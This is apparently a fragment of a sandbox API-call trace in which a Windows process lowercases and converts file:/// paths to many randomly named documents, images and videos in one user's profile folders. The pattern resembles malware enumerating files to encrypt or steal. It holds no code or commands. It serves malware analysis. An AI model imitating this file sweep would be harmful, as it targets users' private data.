	[0098.859] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/Tqt7WX7.xls" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls"
	[0098.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 54
	[0098.859] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/46pyemMg5U/JWwRyfgWlfSbnUp.flv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv"
	[0098.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 89
	[0098.859] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/3t2QNWUXoQQ.pps" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps"
	[0098.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 71
	[0098.860] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/znV%20LFHAvONxUMc%20fXu.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp"
	[0098.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned 83
	[0098.862] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/nRQ59UkXJ6DZE-tfNqQ.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif"
	[0098.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned 66
	[0098.863] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/BJE6SqpKTEj5aI.bmp" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp"
	[0098.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned 61
	[0098.863] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/bLtg0rl3Nb.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png"
	[0098.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned 76
	[0098.863] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/3jEeh-g.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp"
	[0098.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned 78
	[0098.863] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/1Ls8ldXhVKFWb26kk79.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx"
	[0098.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned 61
	[0098.863] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/AFMgC.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif"
	[0098.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned 52
	[0098.864] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/6XhE6HfRnc81XTA9N.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif"
	[0098.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned 56
	[0098.864] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/P70GTHZXSP7.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx"
	[0098.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned 53
	[0098.864] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/-nmv1NzcFxFh4c_s.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx"
	[0098.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned 58
	[0098.864] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/u0UeFh3X.jpg" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg"
	[0098.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned 55
	[0098.864] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/d2AxJ7LT.csv" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv"
	[0098.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned 94
	[0098.864] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/ZA%20XnOpijc5-tGT.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif"
	[0098.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned 56
	[0098.864] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/3NNiQN2uAy.csv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv"
	[0098.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned 57
	[0098.865] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/T17L6PpJUVFp6jo.png" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png"
	[0098.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned 75
	[0098.865] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/dS1l.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned="file:///c:/users/aetadzjz/desktop/ds1l.odp"
	[0098.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned 43
	[0098.865] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/elmEtgYx2iEIHeFFa-b.png" | out: _Str="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png"
	[0098.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned 59
	[0098.866] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/uvB6Xg44Bvjnt-XoW9.png" | out: _Str="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png"
	[0098.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned 57
	[0098.866] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/qfGI.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv"
	[0098.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned 51
	[0098.866] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/dtttXQgtWjzoiRag3-iR.flv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv"
	[0098.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned 67
	[0098.866] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/QOp3.odp" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp"
	[0098.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned 69
	[0098.866] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/eS1cIiAb1YF_Z54N9_QD.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif"
	[0098.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned 74
	[0098.866] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/WvjCEEg87KzqWdb.docx" | out: _Str="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx"
	[0098.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned 57
	[0098.867] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/8DmsVpxVfk8Q_a4.odt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt"
	[0098.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned 86
	[0098.867] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/sgtCtM%20W5i4m4k-tQ7VZ.docx" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx"
	[0098.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned 70
	[0098.867] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/mRBf4Z2smxPy-qp.csv" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv"
	[0098.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned 80
	[0098.867] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/jNUhgew-B.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt"
	[0098.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned 90
	[0098.867] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/gMDngx.bmp" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp"
	[0098.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned 53
	[0098.867] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/STPnFoMqZa-Hly06/UF98.ots" | out: _Str="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots"
	[0098.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned 60
	[0098.867] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/YsT3fikdfbU4rUuKpdCy.png" | out: _Str="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png"
	[0098.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned 59
	[0098.868] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/44x%20N0sokDl7tO.gif" | out: _Str="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif"
	[0098.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned 55
	[0098.868] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/STPnFoMqZa-Hly06/saqSflTOp.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp"
	[0098.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned 65
	[0098.868] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/uJWjX0NxVAjjtXf3pr.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png"
	[0098.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned 111
	[0098.868] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/gnrduAR4_GE-lIUs2.pps" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps"
	[0098.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned 77
	[0098.868] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/MPR9WWdIGYSQMpDjPD.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx"
	[0098.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned 60
	[0098.868] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/J1-w3A.ods" | out: _Str="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned="file:///c:/users/aetadzjz/desktop/j1-w3a.ods"
	[0098.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned 45
	[0098.869] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/yFknaMiD8j.ods" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods"
	[0098.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned 96
	[0098.869] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/O-q7.xlsx" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx"
	[0098.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned 65
	[0098.869] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/l8QtUZaM4hc6.ots" | out: _Str="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots"
	[0098.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned 51
	[0098.869] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/IGHw.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv"
	[0098.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned 57
	[0098.869] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/46pyemMg5U/DMm6.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv"
	[0098.869] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned 78
	[0098.869] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/VWhT_OecYLulo.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp"
	[0098.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned 73
	[0098.870] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/5D7QoxSXVLHY.odp" | out: _Str="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp"
	[0098.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned 51
